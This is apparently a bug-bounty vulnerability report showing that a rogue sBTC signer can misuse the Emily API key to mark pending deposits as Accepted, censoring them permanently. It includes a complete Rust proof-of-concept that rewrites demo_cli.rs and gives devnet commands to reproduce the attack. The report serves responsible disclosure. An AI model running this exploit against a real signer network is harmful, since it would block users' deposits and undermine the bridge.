Network not being able to confirm new transactions (total network shutdown)
Description
Brief/Intro
Sbtc deposit handling by the Signer network starts with the user submiting a deposit request to the Emily API. The Emily API stores this deposit request together with a Status enum (Pending, Reprocessing, Accepted, Confirmed, Failed) starting as Pending. With each new bitcoin block all signers retrieve all Pending deposit requests from the Emily API using the get_deposits() method. As the deposit request progresses through the Signers execution process, the signers report back to the Emily API the request's updated status using the update_deposits method. update_deposits requires an ApiKey that only the Signers hold. However, a rogue signer can use this Api key to submit an incorrect status update for a Pending deposit that was not handled yet, thus preventing the deposit from ever getting retrieved by the Signers and from ever getting processed on the stacks blockchain.
Vulnerability Details
Following is the attack path for the described vulnerability:
A rogue signer decides to censor specific deposit requests, preventing them from being processed by the signers network.
The Signer monitors the Emily Api for new deposit requests (by calling the Api get_deposits method directly, outside of the Signer client)
When the Signer detects a deposit request they wish to censor, they immediatly send an update_deposits Api call to emily, setting the deposit request status to Accepted.
When the next bitcoin block is observed by all Signers, they will retrieve Pending deposit requests from Emily, but the censored request will not be retrieved because it is allready set to Accepted state.
The Censored transaction remains in the Emily DB as Accepted and will never be handled by the Signers because the Emily Api considers it handled.
If another signer tries to reset the deposit request back to Pending, the rogue signer can update the status back to Pending, which creates a race condition of whose status update lands last before signers retrieve deposits again (with each new bitcoin block).
Impact Details
Permanent censoring of any deposit request. The rogue signer can censor any deposit transaction they want with the method described above.
Create a backup for demo_cli.rs and replace its content with the code below.
Main changes:
a. Adds an update_deposit_status function that calls the Emily Api to change the status of a deposit request.
b. Changes exec_deposit to call update_deposit_status(Accepted) immediately after the deposit request is sent to Emily (to emulate the rogue signer changing the status immediately after the deposit request arrives).
use std::str::FromStr;
use bitcoin::hex::DisplayHex;
use bitcoin::{
absolute, transaction::Version, Amount, Network, OutPoint, ScriptBuf, Sequence, Transaction,
TxIn, TxOut,
};
use bitcoin::{Address, XOnlyPublicKey};
use bitcoincore_rpc::json;
use bitcoincore_rpc::{Client, RpcApi};
use clap::{Args, Parser, Subcommand};
use clarity::{
types::{chainstate::StacksAddress, Address as _},
vm::types::{PrincipalData, StandardPrincipalData},
};
use emily_client::{
apis::{
configuration::{ApiKey, Configuration},
deposit_api,
},
models::CreateDepositRequestBody,
models::UpdateDepositsRequestBody,
models::DepositUpdate,
models::Status
};
use url::Url;
use std::time::Duration;
use std::thread;
use fake::Fake as _;
use rand::rngs::OsRng;
use sbtc::deposits::{DepositScriptInputs, ReclaimScriptInputs};
use secp256k1::PublicKey;
use signer::config::Settings;
use signer::keys::SignerScriptPubKey;
use signer::storage::model::StacksPrincipal;
use signer::stacks::api::{StacksClient, StacksInteract};
#[derive(Debug, thiserror::Error)]
#[allow(clippy::enum_variant_names)]
enum Error {
#[error("Signer error: {0}")]
SignerError(#[from] signer::error::Error),
#[error("Bitcoin RPC error: {0}")]
BitcoinRpcError(#[from] bitcoincore_rpc::Error),
#[error("Invalid Bitcoin address: {0}")]
InvalidBitcoinAddress(#[from] bitcoin::address::ParseError),
#[error("No available UTXOs")]
NoAvailableUtxos,
#[error("Secp256k1 error: {0}")]
Secp256k1Error(#[from] secp256k1::Error),
#[error("SBTC error: {0}")]
SbtcError(#[from] sbtc::error::Error),
#[error("Emily deposit error: {0}")]
EmilyDeposit(#[from] emily_client::apis::Error<deposit_api::CreateDepositError>),
#[error("Invalid stacks address: {0}")]
InvalidStacksAddress(String),
#[error("Invalid signer key: {0}")]
InvalidSignerKey(String),
}
#[derive(Debug, Parser)]
struct CliArgs {
#[clap(subcommand)]
command: CliCommand,
}
#[derive(Debug, Subcommand)]
enum CliCommand {
/// Simulate a deposit request
Deposit(DepositArgs),
Donation(DonationArgs),
Info(InfoArgs),
}
#[derive(Debug, Args)]
struct DepositArgs {
/// Amount to deposit in satoshis, excluding the fee.
#[clap(long)]
amount: u64,
/// Maximum fee to pay for the transaction in satoshis, in addition to
/// the amount.
#[clap(long)]
max_fee: u64,
/// Lock time for the transaction.
#[clap(long)]
lock_time: u32,
/// The beneficiary Stacks address to receive the deposit in sBTC.
#[clap(long = "stacks-addr")]
stacks_recipient: String,
/// The public key of the aggregate signer.
#[clap(long = "signer-key")]
signer_aggregate_key: String,
}
#[derive(Debug, Args)]
struct DonationArgs {
/// Amount to deposit in satoshis, excluding the fee.
#[clap(long)]
amount: u64,
/// The public key of the aggregate signer.
#[clap(long = "signer-key")]
signer_aggregate_key: String,
}
#[derive(Debug, Args)]
struct InfoArgs {
/// The public key of the aggregate signer.
#[clap(long = "signer-key")]
signer_aggregate_key: String,
}
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let args = CliArgs::parse();
let settings = Settings::new(Some("signer/src/config/default.toml"))?;
// Setup our Emily client configuration by getting the first configured endpoint
// and using that to populate the client.
let mut emily_api_endpoint = settings
.emily
.endpoints
.first()
.expect("No Emily endpoints configured")
.clone();
let emily_api_key = if emily_api_endpoint.username().is_empty() {
None
} else {
Some(ApiKey {
prefix: None,
key: emily_api_endpoint.username().to_string(),
})
};
let _ = emily_api_endpoint.set_username("");
let emily_client_config = Configuration {
base_path: emily_api_endpoint
.to_string()
.trim_end_matches("/")
.to_string(),
api_key: emily_api_key,
..Default::default()
};
let bitcoin_url = format!(
"{}wallet/depositor",
settings
.bitcoin
.rpc_endpoints
.first()
.expect("No Bitcoin RPC endpoints configured")
);
let bitcoin_client = Client::new(
&bitcoin_url,
bitcoincore_rpc::Auth::UserPass("devnet".into(), "devnet".into()),
)
.expect("Failed to create Bitcoin RPC client");
match args.command {
CliCommand::Deposit(args) => {
exec_deposit(args, &bitcoin_client, &emily_client_config).await?
}
CliCommand::Donation(args) => exec_donation(args, &bitcoin_client).await?,
CliCommand::Info(args) => exec_info(args).await?,
}
Ok(())
}
async fn exec_deposit(
args: DepositArgs,
bitcoin_client: &Client,
emily_config: &Configuration,
) -> Result<(), Error> {
let donargs = DonationArgs{amount:2000000u64,
signer_aggregate_key:args.signer_aggregate_key.clone()};
exec_donation(donargs,bitcoin_client).await?;
let (unsigned_tx, deposit_script, reclaim_script) =
create_bitcoin_deposit_transaction(bitcoin_client, &args)?;
let txid = unsigned_tx.compute_txid();
let signed_tx = bitcoin_client.sign_raw_transaction_with_wallet(&unsigned_tx, None, None)?;
println!("Signed transaction: {:?}", hex::encode(&signed_tx.hex));
let tx = bitcoin_client.send_raw_transaction(&signed_tx.hex)?;
println!("Transaction sent: calculated txid {txid:?}, actual txid {tx:?}");
let emily_deposit = deposit_api::create_deposit(
emily_config,
CreateDepositRequestBody {
bitcoin_tx_output_index: 0,
bitcoin_txid: txid.to_string(),
deposit_script: deposit_script.deposit_script().to_hex_string(),
reclaim_script: reclaim_script.reclaim_script().to_hex_string(),
},
)
.await?;
update_deposit_status(txid.to_string(), 0, Status::Accepted, emily_config, "".to_string()).await?;
println!("Deposit request created: {:?}", emily_deposit);
Ok(())
}
async fn update_deposit_status(bitcoin_txid: String, bitcoin_tx_output_index: u32, status: Status, emily_config: &Configuration, msg: String) -> Result<(), Error> {
let url = Url::parse( "http://localhost:20443").unwrap();
let sc = StacksClient::new(url, 31)?;
let ti = sc.get_tenure_info().await.unwrap();
let bid = ti.tip_block_id;
let bh = ti.tip_height;
let du = DepositUpdate {bitcoin_tx_output_index: 0,
bitcoin_txid: bitcoin_txid,
last_update_block_hash: bid.to_string(),
last_update_height: bh,
status: status,
fulfillment: None,
status_message: msg};
let mut update_request = Vec::<DepositUpdate>::new();
update_request.push(du);
let update_body = UpdateDepositsRequestBody{ deposits:update_request };
//attacker sends a fake status update immediately after the deposit request is created
let emily_deposit_update = deposit_api::update_deposits(emily_config, update_body).await.unwrap();
Ok(())
}
async fn exec_donation(args: DonationArgs, bitcoin_client: &Client) -> Result<(), Error> {
let pubkey = XOnlyPublicKey::from_str(&args.signer_aggregate_key)
.or_else(|_| PublicKey::from_str(&args.signer_aggregate_key).map(XOnlyPublicKey::from))
.map_err(|_| Error::InvalidSignerKey(args.signer_aggregate_key.clone()))?;
// Look for UTXOs that can cover the amount + max fee
let opts = json::ListUnspentQueryOptions {
minimum_amount: Some(Amount::from_sat(args.amount)),
..Default::default()
};
let unspent = bitcoin_client
.list_unspent(Some(6), None, None, None, Some(opts))?
.into_iter()
.next()
.ok_or(Error::NoAvailableUtxos)?;
// Get a new address for change (SegWit)
let change_address = bitcoin_client
.get_new_address(None, Some(json::AddressType::Bech32))?
.require_network(Network::Regtest)?;
// Create the unsigned transaction
let unsigned_tx = Transaction {
input: vec![TxIn {
previous_output: OutPoint {
txid: unspent.txid,
vout: unspent.vout,
},
script_sig: Default::default(),
sequence: Sequence::ZERO,
witness: Default::default(),
}],
output: vec![
TxOut {
value: Amount::from_sat(args.amount),
script_pubkey: pubkey.signers_script_pubkey(),
},
TxOut {
value: Amount::from_sat(unspent.amount.to_sat() - args.amount - 153),
script_pubkey: change_address.into(),
},
],
version: Version::TWO,
lock_time: absolute::LockTime::ZERO,
};
let signed_tx = bitcoin_client.sign_raw_transaction_with_wallet(&unsigned_tx, None, None)?;
println!("Signed transaction: {:?}", hex::encode(&signed_tx.hex));
let tx = bitcoin_client.send_raw_transaction(&signed_tx.hex)?;
println!("Transaction sent: {tx:?}");
Ok(())
}
async fn exec_info(args: InfoArgs) -> Result<(), Error> {
let pubkey = XOnlyPublicKey::from_str(&args.signer_aggregate_key)
.or_else(|_| PublicKey::from_str(&args.signer_aggregate_key).map(XOnlyPublicKey::from))
.map_err(|_| Error::InvalidSignerKey(args.signer_aggregate_key.clone()))?;
println!("Signers pubkey (for bridge): {pubkey}");
let address =
Address::from_script(&pubkey.signers_script_pubkey(), bitcoin::Network::Regtest).unwrap();
println!("Signers bitcoin address (for donation): {address}");
let random_principal: StacksPrincipal = fake::Faker.fake_with_rng(&mut OsRng);
println!(
"Random stacks address (for demo recipient): {}",
*random_principal
);
Ok(())
}
fn create_bitcoin_deposit_transaction(
client: &Client,
args: &DepositArgs,
) -> Result<(Transaction, DepositScriptInputs, ReclaimScriptInputs), Error> {
let pubkey = XOnlyPublicKey::from_str(&args.signer_aggregate_key)
.or_else(|_| PublicKey::from_str(&args.signer_aggregate_key).map(XOnlyPublicKey::from))
.map_err(|_| Error::InvalidSignerKey(args.signer_aggregate_key.clone()))?;
let deposit_script = DepositScriptInputs {
signers_public_key: pubkey,
max_fee: args.max_fee,
recipient: PrincipalData::Standard(StandardPrincipalData::from(
StacksAddress::from_string(&args.stacks_recipient)
.ok_or(Error::InvalidStacksAddress(args.stacks_recipient.clone()))?,
)),
};
let reclaim_script = ReclaimScriptInputs::try_new(args.lock_time, ScriptBuf::new())?;
// Look for UTXOs that can cover the amount + max fee
let opts = json::ListUnspentQueryOptions {
minimum_amount: Some(Amount::from_sat(args.amount + args.max_fee)),
..Default::default()
};
let unspent = client
.list_unspent(Some(6), None, None, None, Some(opts))?
.into_iter()
.next()
.ok_or(Error::NoAvailableUtxos)?;
// Get a new address for change (SegWit)
let change_address = client
.get_new_address(None, Some(json::AddressType::Bech32))?
.require_network(Network::Regtest)?;
// Create the unsigned transaction
let unsigned_tx = Transaction {
input: vec![TxIn {
previous_output: OutPoint {
txid: unspent.txid,
vout: unspent.vout,
},
script_sig: Default::default(),
sequence: Sequence::ZERO,
witness: Default::default(),
}],
output: vec![
TxOut {
value: Amount::from_sat(args.amount + args.max_fee),
script_pubkey: sbtc::deposits::to_script_pubkey(
deposit_script.deposit_script(),
reclaim_script.reclaim_script(),
),
},
TxOut {
value: Amount::from_sat(unspent.amount.to_sat() - args.amount - args.max_fee - 153),
script_pubkey: change_address.into(),
},
],
version: Version::TWO,
lock_time: absolute::LockTime::ZERO,
};
println!(
"deposit script: {:?}",
deposit_script
.deposit_script()
.as_bytes()
.to_lower_hex_string()
);
println!(
"reclaim script: {:?}",
reclaim_script
.reclaim_script()
.as_bytes()
.to_lower_hex_string()
);
Ok((unsigned_tx, deposit_script, reclaim_script))
}
Run the devnet docker with make devenv-up
Once the system is up, run ./signers.sh info to get the SIGNERS_KEY
Run cargo run -p signer --bin demo-cli deposit --amount 42 --max-fee 20000 --lock-time 50 --stacks-addr ST2SBXRBJJTH7GV5J93HJ62W2NRRQ46XYBK92Y039 --signer-key SIGNERS_KEY (Creates a bitcoin tx and a deposit request on the Emily Api and immediately sets the deposit request status on Emily to Accepted, even though is was not seen yet by the signers)
to see that the deposit request is in the emily db with status Accepted
run psql postgresql://postgres:postgres@localhost:5432/signer -c "SELECT * FROM sbtc_signer.deposit_signers AS dr" > output_file.
See that there are no actual decisions on the deposit by any signer
Check the Stacks explorer (http://localhost:3020/address/SN3R84XZYA63QS28932XQF3G1J8R9PC3W76P9CSQS?chain=testnet&api=http://localhost:3999) to see that no Deposit Completed transaction exists.